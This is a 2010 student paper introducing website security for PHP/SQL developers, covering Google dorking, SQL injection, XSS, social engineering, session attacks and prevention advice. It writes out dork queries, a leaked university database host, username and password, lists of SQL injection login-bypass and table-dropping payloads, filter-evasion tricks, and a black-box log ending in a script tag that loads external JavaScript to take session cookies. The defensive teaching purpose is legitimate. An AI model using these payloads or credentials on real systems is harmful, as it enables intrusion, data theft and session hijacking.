

# A Brief Introduction To Website Security

Eugene Yuta Bann  
eb255@bath.ac.uk

April 25, 2010

---

# Contents

<b>1</b>	<b>Introduction</b>	<b>5</b>
1.1	Objectives . . . . .	5
1.2	Overview of collaboration . . . . .	5
1.3	A few definitions . . . . .	5
<b>2</b>	<b>Technical explanation</b>	<b>6</b>
2.1	Google Hacking . . . . .	6
2.1.1	In a nutshell . . . . .	6
2.1.2	Is my system vulnerable? . . . . .	6
2.1.3	Basics . . . . .	6
2.1.4	Real-life example . . . . .	6
2.1.5	Google to the rescue... . . . . .	7
2.1.6	Prevention . . . . .	7
2.2	Code Injection . . . . .	8
2.2.1	SQL Injection . . . . .	8
2.2.2	Is my system vulnerable? . . . . .	8
2.2.3	Basics . . . . .	8
2.2.4	Blind SQL Injection . . . . .	9
2.2.5	Advanced Techniques . . . . .	9
2.2.6	Real life example . . . . .	10
2.2.7	Prevention . . . . .	10
2.3	Cross-Site Scripting (XSS) . . . . .	11
2.3.1	Is my system vulnerable? . . . . .	11
2.3.2	Basics . . . . .	11
2.3.3	Advanced techniques . . . . .	11
2.3.4	Real-life example . . . . .	11
2.3.5	Prevention . . . . .	11
2.4	Social Engineering . . . . .	12
2.5	Further Attacks . . . . .	13
2.5.1	Cookie poisoning . . . . .	13
2.5.2	Session Fixation . . . . .	13

---

2.5.3	Form Manipulation . . . . .	13
2.6	Black Box Testing . . . . .	14
2.7	Final points to consider . . . . .	16
2.7.1	Errors triggering sensitive information leak . . . . .	16
2.7.2	Logging . . . . .	16
<b>3</b>	<b>Future work</b>	<b>17</b>
<b>4</b>	<b>Relationship with other presentations</b>	<b>18</b>
<b>5</b>	<b>References</b>	<b>19</b>
5.1	Websites . . . . .	19
5.2	Recommended Books . . . . .	19
5.3	Applications . . . . .	19



---

# 1 Introduction

## 1.1 Objectives

This brief introduction is intended to equip the PHP/SQL web developer (or indeed any similar languages) with the basic tools to prevent malicious users from accessing private data that could potentially grant unauthorized access to your database server and/or adversely affect user experience on your website. It also brushes on other areas of computer security that is applicable not only to websites but also to software and systems written in other languages.

In all real-life examples all security vulnerabilities discovered were reported, and have since been patched.

An understanding of PHP and SQL is assumed but not required.

## 1.2 Overview of collaboration

I have conducted all the research presented in this document. I have been developing websites and systems for many years and am confident I have touched on all the main aspects a developer should always take into account when designing ['secure', used implicitly here] websites and systems.

## 1.3 A few definitions

**Hacker** Someone who is proficient with computer systems and programming to the point where they are able to modify a program or hardware device to make it perform the way they wish it to perform. They possess detailed knowledge of how particular computer systems work and usually have an incredible curiosity.

**Cracker** A hacker who uses their proficiency for personal gains outside of the law, such as stealing data, changing bank accounts or distributing viruses. It's safe to say that all crackers are hackers, however not all hackers are crackers - this is an important distinction.

**Exploit** Malicious code that takes advantage of a software bug, glitch or vulnerability. Examples include viruses, trojan horses, worms and spyware.

**Attack Vector** The mechanism exploited by a cracker to gain access to a particular system in order to deliver a payload. Examples include webpages and popups, Email, and Internet Relay Chat.

**Payload** The exploit transmitted via attack vectors. More often than not, attack vectors deliver multiple payloads.

---

## 2 Technical explanation

### 2.1 Google Hacking

#### 2.1.1 In a nutshell

Google hacking is the act of creating complex search queries to find information related to computer security, such as database structure information, usernames and passwords and other vulnerabilities that could be exploited. Although Google was the original tool used to search, these techniques can be applied to similar search engines such as Yahoo.

#### 2.1.2 Is my system vulnerable?

Your system is vulnerable if you have publicly accessible files on your server that contain sensitive information.

#### 2.1.3 Basics

A Google 'hack' is a search query consisting of a combination of operators and search arguments which searches within specific areas of a web resource such as titles, URLs, file types and cache. By combining particular operators and keywords, searches can be created to find files that contain sensitive information, such as the following:

```
ext:sql inurl:backup intitle:*dump
```

This searches for SQL files that have the word backup in the URL and dump in the title, and displays many MySQL dumps created for backup purposes, usually revealing usernames and passwords and other information found within the SQL `INSERT INTO $ VALUES $` command. Passwords are usually encrypted into a database using the MD5 hash or other cryptic algorithm, but if insecure can be cracked using rainbow tables.

#### 2.1.4 Real-life example

Searching the following query in Google

```
ext:inc mysql_connect(mysql
```

gives us [www.sos.bangor.ac.uk/research/php/publications.inc](http://www.sos.bangor.ac.uk/research/php/publications.inc) as the first result and contains the following code:

```
<?php ...
$db = mysql_connect("mysql.bangor.ac.uk", "oss108", "12345678");
mysql_select_db("oceansciences",$db);
... ?>
```

which clearly presents us the MySQL server address *mysql.bangor.ac.uk*, the username *oss108* and password *12345678*. Note the highly secure password. We can use this information to logon to the MySQL server either by writing our own little program or even typing the address into a browser, as this particular server has phpMyAdmin installed. Here we can view, copy and modify any of the information to our hearts content. In this example, the database belonged to the Ocean Sciences department at the University of Bangor and contained details on staff, students and projects.

---

### 2.1.5 Google to the rescue...

Google recognises some "dangerous" search queries such as the following:

```
inurl:php? "Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in"
```

This simply looks for PHP files that use GET, and contains the string generated when there is an error in the PHP code, giving us details of the database for us to exploit. Google only displays the following message after viewing a couple of search result pages:

**We're sorry...**

...but your query looks similar to automated requests from a computer virus or spyware application. To protect our users, we can't process your request right now.

If you attempt to re-search, the message will reappear. It seems this occurs if you use the inurl argument to search for specific files such as PHP or ASP, and if you click on many results pages in quick succession.

### 2.1.6 Prevention

You should only have what is necessary on your web server. Once a file is uploaded onto a web server it is in essence available to anyone who has the Internet. If you must prevent certain files from being cached by Google and other search engines, create a robots.txt file and disallow all bots to crawl that file or directory. Google takes over a month to refresh its cache, so this needs to be done before you upload the files/directories.

Don't use the .inc extension containing sensitive information, as these files are not parsed by the server so your code is viewable in plain text. adding .php to the extension (.inc.php) ensures unreadable code. If you must use .inc, pass parameters into your connect files from session variables.

---

## 2.2 Code Injection

Textual user input is often required within a website, for example within login forms, search boxes and mailing functionalities. This allows users to pass a variable into your code or upload text directly into the database; if the input is not checked for correct formatting the malicious user is able to input ("inject") their own code, which could lead to some disastrous effects. I will briefly introduce two main code injection attacks: SQL injection and cross-site scripting (XSS).

### 2.2.1 SQL Injection

Most SQL queries contain variables that are determined by user input. If SQL injection is possible, a cracker is able to run their very own queries on your database.

### 2.2.2 Is my system vulnerable?

Your system is vulnerable if direct input is allowed and the variable is passed directly into the SQL query string.

### 2.2.3 Basics

One of the basic forms of injection attacks is using line comments. Lets say for example you have the following PHP code:

```
<?php ...
$username = $_POST['username'];
$password = $_POST[pass];
$check = mysql_query("SELECT * FROM profile WHERE username = '$username' AND password = '$password'");
// Or where a query string is built up:// $query = "SELECT * FROM profile WHERE username =
";
$query .= '$username'." AND password = ".$password'." LIMIT 1";
mysql_query($query);
... ?>
```

The user attempts to log in using the username *admin*'"-- and password *anything*. Note the extra quotation mark. The query becomes:

```
"SELECT * FROM profile WHERE username = 'admin'"--' AND password = 'anything'
```

which runs as:

```
SELECT * FROM profile WHERE username = 'admin'
```

as the double hyphen has been treated as SQL code, commenting out the password requirement. The hacker will be successfully logged in as admin using any password.

The injection `x'; DROP TABLE profile;"--` into the username field would produce the following query, deleting the table profile:

```
SELECT * FROM profile WHERE username = 'x'; DROP TABLE members;
```

You can see the malicious user is able to work with the database to their hearts content. Fortunately, MySQL does not allow more than one query to be executed in a single function call so this example would fail on a MySQL server.

---

The following is a list of basic SQL injections for login pages, using different comment expressions for various types of SQL:

- `admin' --`
- `admin' #`
- `admin'/*`
- `' or 1=1--`
- `' or 1=1#`
- `' or 1=1/*`
- `') or '1'='1--`
- `') or ('1'='1--`

SQL injection is possible using strings within form fields or via GET variables directly in the address bar.

#### 2.2.4 Blind SQL Injection

Blind SQL Injection is used when a web application is vulnerable to SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

These tests are for blind SQL injection and silent attacks, executed from the address bar:

- `product.asp?id=4`
- `product.asp?id=5-1`
- `product.asp?id=4 OR 1=1`
- `product.asp?name=Book`
- `product.asp?name=Bo'`
- `product.asp?name=Bo' || 'ok`
- `product.asp?name=Book' OR 'x'='x`

#### 2.2.5 Advanced Techniques

The injection `DR/**/OP/*bypass DROP blacklisting*/ members` will by bypass a blacklist that bans the keyword `DROP` and uses it to delete the table `members`. You can see that, when evaluated, the comments are removed and `DROP` has been successfully inserted in the query.

The injection `'; DESC users; --` evades escapes with backslashes (this assumes the application comments out a single quote with another single quote and by introducing a backslash before it, it comments out the single quote that is added by the filter). This type of filter is applied by MySQL's `mysql_real_escape_string()` and PERL's DBD method `$dbh->quote()`.

Defining functions in hexadecimal (`0xHEXNUMBER`) can bypass some filters.

---

### 2.2.6 Real life example

<http://www.jonathan-omitted.com/auth.php>

' or 1=1# as the username and any password grants access. Simple as that. This particular site was a photography site - I could have stolen photos, edited descriptions or even deleted everything.

### 2.2.7 Prevention

At the very least you should use `stripslashes()` and `my_real_escape_string()` to get a nicely formatted search string. Consider enforcing limits to returned rows where applicable, and only retrieve necessary row headings, so if code is injected, the potential for large-scale damage is minimised.

---

## 2.3 Cross-Site Scripting (XSS)

Cross site scripting (XSS) refers generally to the combination of HTML and script injection. Performed solo, this type of attack is at application level, however it is possible to use XSS in order to modify input that will be sent to the a server, thus it can become a stepping stone to launch further attacks that were previously not possible.

### 2.3.1 Is my system vulnerable?

Your system is vulnerable if direct input is allowed and the variable is passed directly into the SQL query string, and into the database. The script executes only if the output of the injection is parsed as code as opposed to arbitrary text. RSS feeds can also be vulnerable, technically a WEB2.0 attack.

### 2.3.2 Basics

The objective is to try and send something like `<script>alert("Successful script injection");</script>` so that it returns it on the website, either as a blog entry or error message. If the website is vulnerable to XSS, it will display, in this example, the text "Successful script injection" in an alert dialog box, as the HTML entities would be parsed as code. If the XSS injection is within a blog entry or "wall post", then the script would run for every user who views the page (persistent).

### 2.3.3 Advanced techniques

Hex-encoded values of strings such as `%3C%73%63%72%69%70%74%3E` instead of `<script>` to bypass filters. Client side validation via AJAX can be bypassed to increase chances of successful XSS. You can also use php files in the same way as javascript files.

### 2.3.4 Real-life example

See Black Box Testing, Section 6.

### 2.3.5 Prevention

Make sure you sanitize all textual user input. Ensure you escape the particular syntax in question; use `urlencode($userinput)` when inputting into a URL or `htmlentities($userinput, ENT_QUOTES)` when inputting into an HTML document, for example.

---

## 2.4 Social Engineering

Social Engineering is essentially hacking the user, attacking human nature. A humans built-in security mechanisms are often much easier to bypass than layers of password protection, AES encryption, hardened firewalls, intrusion-detection systems and a tight security policy. Social Engineering is the clever manipulation of the natural human tendency to trust - as long as you have people interacting with your system to any degree, your system is vulnerable.

Social Engineering uses psychological methods, so it is harder to track and easier to execute. Below is a table of common intrusion tactics and strategies for prevention, taken from a Symantec article.

Area of risk	Cracker Tactic	Combat Strategy
Phone (Help Desk)	Impersonation and persuasion	Train employees/help desk to never give out passwords or other confidential info by phone
Building entrance	Unauthorized physical access	Tight badge security, employee training, and security officers present
Office	Shoulder surfing	Don't type in passwords with anyone else present (or if you must, do it quickly!)
Phone (Help Desk)	Impersonation on help desk calls	All employees should be assigned a PIN specific to help desk support
Office	Wandering through halls looking for open offices	Require all guests to be escorted
Mail room	Insertion of forged memos	Lock and monitor mail room
Machine room/Phone closet	Attempting to gain access, remove equipment, and/or attach a protocol analyzer to grab confidential data	Keep phone closets, server rooms, etc. locked at all times and keep updated inventory on equipment
Phone and PBX	Stealing phone toll access	Control overseas & long-distance calls, trace calls, refuse transfers
Dumpsters	Dumpster diving	Keep all trash in secured, monitored areas, shred important data, erase magnetic media
Intranet-Internet	Creation and insertion of mock software on Intranet or Internet to snarf passwords	Continual awareness of system and network changes, training on password use
Office	Stealing sensitive documents	Mark documents as confidential & require those documents to be locked
General-Psychological	Impersonation and persuasion	Keep employees on their toes through continued awareness and training programs

It is relatively simple to set up a web page attack vector using the Social Engineer Toolkit (SET) and Metasploit; within minutes you can create genuine-looking update box 'signed' by Microsoft that delivers a specified payload if the user clicks Update. The best prevention is education and awareness of the issue - security training, newsletters, signs, mugs with slogans ("Passwords: Longer is Stronger.").

---

## 2.5 Further Attacks

### 2.5.1 Cookie poisoning

Cookie poisoning is the modification of cookie values set by vulnerable websites. Your website is vulnerable if you use cookies to store any values that would have an adverse effect should a user be able to modify that value, for example storing the total basket price on an e-commerce website. Generally, the best practice is to store only the session identifier in a cookie.

### 2.5.2 Session Fixation

Session fixation is an attack where a cracker gains the session ID from a victim and sets it as his own, now being able to use that session without logging in. The best practice regarding session identifiers is to store the value in a cookie, and not in any GET or POST variables, as this simplifies the attack. Whenever a user logs in or requests to do something that would justify a re-authentication (such as change password), regenerate the session identifier, so that a recovered session ID for that user will be rendered useless for the attacker.

### 2.5.3 Form Manipulation

Another attack that is easily avoided is Form manipulation. This is similar to cookie poisoning, but this time manipulating form elements such as hidden fields and text input MAXSIZE variables within forms. A poorly designed form may even be susceptible to an application buffer overflow if a text field's sole validation was the MAXSIZE parameter. The best practice is to use hidden fields exclusively for client display functionality, and to validate user input via the server.

---

## 2.6 Black Box Testing

Black box testing real-life example urltotest.com (real website url omitted).

`http://www.urltotest.com/site/productdetail.php?number=CCS2P2`  
*Valid product page*

`http://www.urltotest.com/site/productdetail.php?number=CCdfgeghS2P2990`  
*Valid page, no product*

`http://www.urltotest.com/site/productdetail.php?number=CCdfgeghS2P2990"`  
*Valid page, no product*

`http://www.urltotest.com/site/products.php?dept=1020`  
*Valid page, product list*

`http://www.urltotest.com/site/products.php?dept=""`  
Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" AND tbl\_products.mastersub <> 'S' AND tbl\_products.inetsell = 1 ORDER BY tbl\_' at line 1

`http://www.urltotest.com/site/products.php?dept=1"`  
Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" AND tbl\_products.mastersub <> 'S' AND tbl\_products.inetsell = 1 ORDER BY tbl\_' at line 1

`http://www.urltotest.com/site/products.php?dept=f`  
Query failed: Unknown column 'f' in 'where clause'

`http://www.urltotest.com/site/products.php?dept=45 OR 5`  
*Valid page, but neither 45 or 5, shows all*

`http://www.urltotest.com/site/products.php?dept=1015 OR SELECT`  
Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT AND tbl\_products.mastersub <> 'S' AND tbl\_products.inetsell = 1 ORDER BY ' at line 1

`http://www.urltotest.com/site/products.php?dept=1020-`  
*Valid page, product list*

*Query something like: SELECT xxx FROM xxx WHERE DEPT = <INPUT> AND tbl\_prod...*

`http://www.urltotest.com/site/products.php?dept=1017-dfvdzv`  
Query failed: Unknown column 'dfvdzv' in 'where clause'

`http://www.urltotest.com/site/products.php?dept=1017-`  
Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

`http://www.urltotest.com/site/products.php?dept=10174-`  
Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND tbl\_products.mastersub <> 'S' AND tbl\_products.inetsell = 1 ORDER BY tbl\_pro' at line 1

`http://www.urltotest.com/site/products.php?dept=1020/*sstryw`  
*Valid page, comment applied fine*

---

http://www.urltotest.com/site/products.php?dept=2010 UNION ALL SELECT \* FROM news WHERE dept=2010

Query failed: Table 'site.news' doesn't exist

*Database name is site, known tables are tbl\_products and tbl\_pro(...?), known columns are mastersub and inetsell*

http://www.urltotest.com/site/products.php?dept=2010 UNION ALL SELECT \* FROM tbl\_products.mastersub WHERE dept=2010

Query failed: Access denied for user 'webuser'@'%' to database 'tbl\_products'

http://www.urltotest.com/site/products.php?dept=2010</td><b>BLAH</b></td></td></td></td>

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/td>BLAH

*Blah in bold, </td>'s in code, XSS possible*

http://www.urltotest.com/site/products.php?dept=2010<b>BLAH</b><script type="text/javascript"></script>

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/b> AND tbl\_products.mastersub <> 'S' ' at line 1

*javascript tag inserted with slashes*

http://www.urltotest.com/site/products.php?dept=2010<b>BLAH</b><SCRIPT SRC=

http://eugenebann.com/x.js></SCRIPT>

*javascript tag successfully inserted, got cookie information and PHPSESSID*

You can see the wealth of information collected simply by injecting relatively simple code into the query string - the database name, table names, and cookie/session identifiers. This data can be used in subsequent attacks taking it a step further, for example using the obtained PHPSESSID for session hijacking.

---

## 2.7 Final points to consider

### 2.7.1 Errors triggering sensitive information leak

Error messages give crackers an insight into your system, providing them with knowledge to further their attack. My advice here would be to completely get rid of all error messages (e.g. `die(mysql_error());`) and `echo` statements containing debugging information. You want to give out as little technical information as possible. On the user side of things, don't give any clues to aid guessing account credentials - if a username is correct, but password wrong, just present "login failed" as opposed to "incorrect password".

### 2.7.2 Logging

I always recommend as much logging of data as possible; this is especially effective where users of a site must log in to use it. IP addresses can be logged and blocked in PHP via the reserved variable `$_SERVER['REMOTE_ADDR']`; . Log failed login attempts and block users appearing to brute force their way into their account, offering a password reminder function. Check for possible injection attacks on user input and log. Also remember that you ensure the log is protected against prying eyes.

---

### 3 Future work

It must be stressed that this paper has covered the basics and is not an exhaustive guide to securing your website. If a cracker is determined to undermine the security of your website, they will find a way in, be it via social engineering, attacking the server directly via Directory Traversal, or even a custom hardware attack. Having said that, the prevention techniques described in this paper will avert the majority of (and in most cases, all) malicious users; hopefully this has provided you with a solid grounding in online security.

There is huge scope for future work on this topic - one could drill deeper into any one of the discussed topics. An interesting attack that is recently becoming notorious is code injection within RSS feeds, technically dubbed a "web 2.0" attack. Offline systems could also be analysed, and topics such as Buffer Overflows and Password Cracking could be discussed. Flaws within programming languages such as C and Fortran could be detailed and measures to counter potential attacks could be discussed.

---

## 4 Relationship with other presentations

There are no direct links (as such) with any of the other presentations given during the course; however the subject of website security has strong ties with Systems Development and the Integrated Project, as many students are designing websites for the first time. Also, many organisations are now opting for cloud-based systems, increasing the demand for web-based interfaces and therefore requiring programmers to understand at least the basics of website security. Presenting as a separate topic allows greater understanding of program structure and possible vulnerable points not typically explored, with the aim of creating a well-rounded, secure programmer.

---

## 5 References

### 5.1 Websites

**Google Hacking** <http://palisade.plynt.com/issues/2005Jul/google-hacking/>

**Google Hacking Database** <http://www.hackersforcharity.org/ghdb/>

**SQL Injection** <http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf>

**SQL Injection Cheat Sheet** <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>

**SQL Injection Attacks by Example** <http://www.unixwiz.net/techtips/sql-injection.html>

**Cross Site Scripting Cheat Sheet** <http://ha.ckers.org/xss.html>

**PHP Security Guide - Sessions** <http://phpsec.org/projects/guide/4.html>

**Combating Social Engineering** <http://www.symantec.com/connect/articles/social-engineering-fundamentals-part-ii-combat-strategies>

**Password Patterns** <http://ha17.com/2009/04/remember-secure-passwords-create-a-password-pattern/>

**Password Salting** <http://www.andymadge.com/2009/08/password-salting-techniques/>

**Online Security** <http://cybercoyote.org/security/overview.htm>

**HEX/ASCII Converter** <http://centricle.com/tools/ascii-hex/>

### 5.2 Recommended Books

**Security Warrior** Cyrus Peikari, Anton Chuvakin [O'Reilly Media, Inc., 2004]

### 5.3 Applications

**Metasploit - Penetration Testing Resources** <http://www.metasploit.com/>

**BackTrack Linux - The best security distro to date** <http://www.backtrack-linux.org/>

**Cain & Abel - Brute Force Cracking and Cryptanalysis Attacks** <http://www.oxid.it/cain.html>

**Absinthe - Automated Blind SQL Injection** <http://www.0x90.org/releases/absinthe/>